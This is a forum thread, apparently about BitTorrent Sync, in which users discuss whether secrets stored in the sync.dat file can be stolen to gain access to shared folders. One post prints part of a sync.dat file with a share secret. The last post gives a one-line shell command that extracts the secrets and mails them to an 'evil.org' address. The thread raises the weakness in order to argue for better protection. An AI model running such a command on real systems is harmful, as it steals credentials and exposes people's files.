.sync folder security?

[bah]

Hi, I hope I am not asking a FAQ ...

I have not found how the .sync directory is protected from unwanted copying.

Is it possible to steal the .sync directory (with its metadata) and get hold of its' owner shared secrets?

This would allow anybody with direct access to an account to get all the users' files.

I hope this is not the case .... I remember Dropbox having a similar security issue ...

[rdebath]

As the .sync directory is never stored in the shared area this is not a problem ... is it.

Having said that, lots of users seem to make the silly mistake of putting the .sync directory in the shared area so filtering it out is on the TODO list.

[bah]

I think that filtering out the .sync directory is not enough (it's a good step but not enough).

Suppose it is possible to copy sombody else's .sync directory, is it possible to use it to get hold of all his data?

If the secrets are not tied to the host, then any virus/troian could just deliver a copy of it to somebody else and the data would be available to them.

[rdebath]

Filtering the .sync directory is just a protection against a bonehead mistake.

Once you let a virus only your system your machine is owned, there is nothing an application like BTsync can do to protect you after that.

If you "all of his data" you mean all the data in the share, then yes. That exactly what the secret is for, to give access to the share to those people you give the key to. Either directly or by running their virus software.

So don't run the virus.

If you want more you'll have to be very specific, and give reasons.

[bah]

I just wanted to know where the secrets are stored ...

[JennyElv]

Once you let a virus only your system your machine is owned, there is nothing an application like BTsync can do to protect you after that.

I think that is not completely true - as especially with application like BTSync there is an addition issue to consider:

Usually, once my machine got hijacked, a attacker would need to copy all my important data - which requires him to locate the data and a lot of time till everything is copied over the line. In addition - as this usually takes a longer time - there is a good chance to get identified, interrupted, etc. ...

With tools like BTSync this is different: A attacker only needs to steal the .sync folder, which usually is small and can be copied quickly to any location in the world ... then the attacker only needs to sit back and watch my important files being delivered to his machine more or less automatically. This happens after he already left my compromised machine ... there is also a good chance that "I" not at all realize that a new machine is syncing with my files ...

So I think the .sync folder is some sort of security hole - which should be protected by additional (optional) encryption/passphrase, expiring keys, ...

[rdebath]

I just wanted to know where the secrets are stored ...

The secrets are stored in the sync.dat file along with all the other major data about the share.

If you want to see you can do a Google search for a "bencode editor", one of these will be able to open, view and edit the sync.dat file. (WARNING: No user serviceable parts inside)

[affinity]

So, iow, if anyone gets hold of your sync.dat file then they can read all your secrets clearly!

https://sites.google.com/site/ultimasites/bencode-editor

[rdebath]

Except, you probably don't have another application like this.

You see the applications you've had contact with are pure client. They do absolutely nothing unless you are there to push the button. OTOH BTSync is a server application it must run continuously and must be able to authenticate itself to the other peers so it needs permanent access to it's secrets.

The closest that I can think off offhand is the SSL certificates of a web server like Apache. Normally these are stored unencrypted in the file /etc/apache/ssl.key. The (standardised) file format that they are in does have the ability to use encryption but it's almost never used for this certificate because it requires the web server to stop during startup and ask for a key from the user. Normally the user will be miles away at this point in time. In addition, even if the certificate is encrypted on disk it still has to exist in plaintext in memory and if the security of the box is subverted to the extent that an attacker has access to the "ssl.key" file they probably also have access to the memory of the Apache process, (eg: using ptrace) making the encryption useless.

I've put a message on the wishlist thread for this, as it is a facility that comparable software (Apache) has, but even if it's implemented I'd bet you'd end up not using it.

[rdebath]

So, iow, if anyone gets hold of your sync.dat file then they can read all your secrets clearly!

Yup, Here's the start of a file, slightly pretty printed...

".fileguard" = C8AA8024DA5F69AB2EE3EDC129848F892EB0A424
version = "1.0.130"
device = BTSync
folders = (
{
	path = "/home/btsync/data/cats"
	secret = R27WAH4LQCGDFOGS7NLQYLQPXW5TRCW5
	delete_to_trash = 1
	use_dht = 1
	use_lan_broadcast = 0
	use_relay = 0
	use_tracker = 1
	use_known_hosts = 0
	known_hosts = (
	)
	peers = (
	 {

Like I said, it's a bonehead mistake.

ps: Doh!

[bah]

Thanks @JennyElv, this is exactly what I was trying to say/ask. :-)

Thus it's enough just doing this ... nice to know

strings ~/.sync/sync.dat | grep secret32 | sed 's/.*secret32://' | cut -b 1-32 | mail myself@evil.org